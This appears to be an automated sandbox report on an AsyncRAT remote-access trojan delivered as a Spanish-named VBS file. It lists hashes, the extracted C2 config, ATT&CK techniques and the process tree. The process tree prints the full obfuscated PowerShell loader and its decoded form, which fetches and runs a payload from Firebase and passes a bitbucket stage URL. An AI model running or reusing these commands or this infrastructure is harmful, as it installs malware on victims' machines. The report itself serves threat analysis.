asyncrat | ef5fa3f193d8205806fc945aea79ea2aeddb8845d1d9e81e22e57370db09c426

General

Target

Alertas y Notificaciones.vbs
Size

2.6MB
MD5

f85469b805e7ccd3da7f69df07566f0d
SHA1

e9d9b0ddda2aa1e0345b1a88a491f0ee43bdcdc0
SHA256

ef5fa3f193d8205806fc945aea79ea2aeddb8845d1d9e81e22e57370db09c426
SHA512

4bc1d37bce587cd3a2ba02bd0341f7a718e5b8b974b769a46c12fbb1ca8df4424955436c3ae40b06cfaa3b9ad2085ed712ca77e1df5e0e34fffcf244b05b121f
SSDEEP

1536:bPPPPPPPPP9PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP5:/f

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdll%20Hope.txt?alt=media&token=61c829f6-e196-49e8-b4ff-041134577ffe

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

C2

envioagosto29.duckdns.org:2020

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
8	1260	powershell.exe
16	1260	powershell.exe
19	1260	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1764	powershell.exe
1260	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
15	bitbucket.org
16	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1260 set thread context of 640	1260	powershell.exe	92

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3968	timeout.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1764	powershell.exe
1764	powershell.exe
1260	powershell.exe
1260	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1764	powershell.exe
Token: SeDebugPrivilege	1260	powershell.exe
Token: SeDebugPrivilege	640	RegSvcs.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4696 wrote to memory of 1764	4696	WScript.exe	84
PID 4696 wrote to memory of 1764	4696	WScript.exe	84
PID 1764 wrote to memory of 1260	1764	powershell.exe	86
PID 1764 wrote to memory of 1260	1764	powershell.exe	86
PID 1260 wrote to memory of 640	1260	powershell.exe	92
PID 1260 wrote to memory of 640	1260	powershell.exe	92
PID 1260 wrote to memory of 640	1260	powershell.exe	92
PID 1260 wrote to memory of 640	1260	powershell.exe	92
PID 1260 wrote to memory of 640	1260	powershell.exe	92
PID 1260 wrote to memory of 640	1260	powershell.exe	92
PID 1260 wrote to memory of 640	1260	powershell.exe	92
PID 1260 wrote to memory of 640	1260	powershell.exe	92
PID 640 wrote to memory of 3188	640	RegSvcs.exe	99
PID 640 wrote to memory of 3188	640	RegSvcs.exe	99
PID 640 wrote to memory of 3188	640	RegSvcs.exe	99
PID 3188 wrote to memory of 3968	3188	cmd.exe	101
PID 3188 wrote to memory of 3968	3188	cmd.exe	101
PID 3188 wrote to memory of 3968	3188	cmd.exe	101

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Alertas y Notificaciones.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒Bi▒GI▒bQBw▒G8▒I▒▒9▒C▒▒Jw▒w▒Cc▒Ow▒k▒GU▒Z▒Br▒GQ▒Yw▒g▒D0▒I▒▒n▒CU▒c▒B6▒EE▒YwBP▒Gc▒SQBu▒E0▒cg▒l▒Cc▒OwBb▒EI▒eQB0▒GU▒WwBd▒F0▒I▒▒k▒Hg▒bwB3▒HE▒aQ▒g▒D0▒I▒Bb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QwBv▒G4▒dgBl▒HI▒d▒Bd▒Do▒OgBG▒HI▒bwBt▒EI▒YQBz▒GU▒Ng▒0▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwBm▒Gk▒cgBl▒GI▒YQBz▒GU▒cwB0▒G8▒cgBh▒Gc▒ZQ▒u▒Gc▒bwBv▒Gc▒b▒Bl▒GE▒c▒Bp▒HM▒LgBj▒G8▒bQ▒v▒HY▒M▒▒v▒GI▒LwBy▒G8▒Z▒By▒Gk▒YQBr▒GQ▒LQ▒4▒DQ▒MQ▒z▒GQ▒LgBh▒H▒▒c▒Bz▒H▒▒bwB0▒C4▒YwBv▒G0▒LwBv▒C8▒Z▒Bs▒Gw▒JQ▒y▒EY▒Z▒Bs▒Gw▒JQ▒y▒D▒▒S▒Bv▒H▒▒ZQ▒u▒HQ▒e▒B0▒D8▒YQBs▒HQ▒PQBt▒GU▒Z▒Bp▒GE▒JgB0▒G8▒awBl▒G4▒PQ▒2▒DE▒Yw▒4▒DI▒OQBm▒DY▒LQBl▒DE▒OQ▒2▒C0▒N▒▒5▒GU▒O▒▒t▒GI▒N▒Bm▒GY▒LQ▒w▒DQ▒MQ▒x▒DM▒N▒▒1▒Dc▒NwBm▒GY▒ZQ▒n▒Ck▒KQ▒7▒Fs▒cwB5▒HM▒d▒Bl▒G0▒LgBB▒H▒▒c▒BE▒G8▒bQBh▒Gk▒bgBd▒Do▒OgBD▒HU▒cgBy▒GU▒bgB0▒EQ▒bwBt▒GE▒aQBu▒C4▒T▒Bv▒GE▒Z▒▒o▒CQ▒e▒Bv▒Hc▒cQBp▒Ck▒LgBH▒GU▒d▒BU▒Hk▒c▒Bl▒Cg▒JwBD▒Gw▒YQBz▒HM▒T▒Bp▒GI▒cgBh▒HI▒eQ▒z▒C4▒QwBs▒GE▒cwBz▒DE▒Jw▒p▒C4▒RwBl▒HQ▒TQBl▒HQ▒a▒Bv▒GQ▒K▒▒n▒Fo▒e▒BL▒Eg▒Rw▒n▒Ck▒LgBJ▒G4▒dgBv▒Gs▒ZQ▒o▒CQ▒bgB1▒Gw▒b▒▒s▒C▒▒WwBv▒GI▒agBl▒GM▒d▒Bb▒F0▒XQ▒g▒Cg▒JwB0▒Hg▒d▒▒u▒G8▒aQB2▒G4▒ZQ▒v▒HM▒Z▒Bh▒G8▒b▒Bu▒Hc▒bwBk▒C8▒cwBh▒Gc▒cgBh▒GM▒cwBl▒GQ▒LwBj▒GQ▒cwBh▒GM▒Z▒▒v▒Gc▒cgBv▒C4▒d▒Bl▒Gs▒YwB1▒GI▒d▒Bp▒GI▒Lw▒v▒Do▒cwBw▒HQ▒d▒Bo▒Cc▒I▒▒s▒C▒▒J▒Bl▒GQ▒awBk▒GM▒I▒▒s▒C▒▒JwBf▒F8▒XwBf▒F8▒XwBf▒F8▒ZgBn▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒Jw▒s▒C▒▒J▒Bi▒GI▒bQBw▒G8▒L▒▒g▒Cc▒MQ▒n▒Cw▒I▒▒n▒FI▒bwBk▒GE▒Jw▒g▒Ck▒KQ▒7▒▒==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\Alertas y Notificaciones.vbs');powershell -command $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$bbmpo = '0';$edkdc = 'C:\Users\Admin\AppData\Local\Temp\Alertas y Notificaciones.vbs';[Byte[]] $xowqi = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdll%20Hope.txt?alt=media&token=61c829f6-e196-49e8-b4ff-041134577ffe'));[system.AppDomain]::CurrentDomain.Load($xowqi).GetType('ClassLibrary3.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.oivne/sdaolnwod/sagracsed/cdsacd/gro.tekcubtib//:sptth' , $edkdc , '________fg_______________-------------', $bbmpo, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1260
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:640
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp12A8.tmp.bat""
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3188
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        6⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:3968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ideax12y.lbx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp12A8.tmp.bat

Filesize
171B

MD5
6e5776398e13468127327def3ec2f198

SHA1
69be5eaad92d9cbbc266a7521aa88523dd0a5a3c

SHA256
2a55d4205556cb0599913b6247ce58b3a3b62113ac61d79ee764fbd858847be9

SHA512
a827606451f615382f009afec04de4f6c53acb2c6a0d9d35a354a1efc09e92c877a77fd81069c4f44103932f137e5f46eb163b799590c24a5208a18d43b20e29

Download Submit
memory/640-40-0x0000000007EB0000-0x0000000007F14000-memory.dmp

Filesize
400KB

Download
memory/640-38-0x0000000006BD0000-0x0000000006BEE000-memory.dmp

Filesize
120KB

Download
memory/640-37-0x0000000005BF0000-0x0000000005C00000-memory.dmp

Filesize
64KB

Download
memory/640-24-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/640-39-0x0000000006D60000-0x0000000006DF2000-memory.dmp

Filesize
584KB

Download
memory/640-35-0x0000000005940000-0x00000000059A6000-memory.dmp

Filesize
408KB

Download
memory/640-36-0x0000000006C30000-0x0000000006CA6000-memory.dmp

Filesize
472KB

Download
memory/640-33-0x0000000005830000-0x00000000058CC000-memory.dmp

Filesize
624KB

Download
memory/640-34-0x0000000005E80000-0x0000000006424000-memory.dmp

Filesize
5.6MB

Download
memory/1260-22-0x0000020EE8CD0000-0x0000020EE8CD8000-memory.dmp

Filesize
32KB

Download
memory/1260-23-0x0000020EE98E0000-0x0000020EE98EA000-memory.dmp

Filesize
40KB

Download
memory/1764-30-0x00007FFA1F160000-0x00007FFA1FC21000-memory.dmp

Filesize
10.8MB

Download
memory/1764-0-0x00007FFA1F163000-0x00007FFA1F165000-memory.dmp

Filesize
8KB

Download
memory/1764-12-0x00007FFA1F160000-0x00007FFA1FC21000-memory.dmp

Filesize
10.8MB

Download
memory/1764-11-0x00007FFA1F160000-0x00007FFA1FC21000-memory.dmp

Filesize
10.8MB

Download
memory/1764-1-0x0000020E6B070000-0x0000020E6B092000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads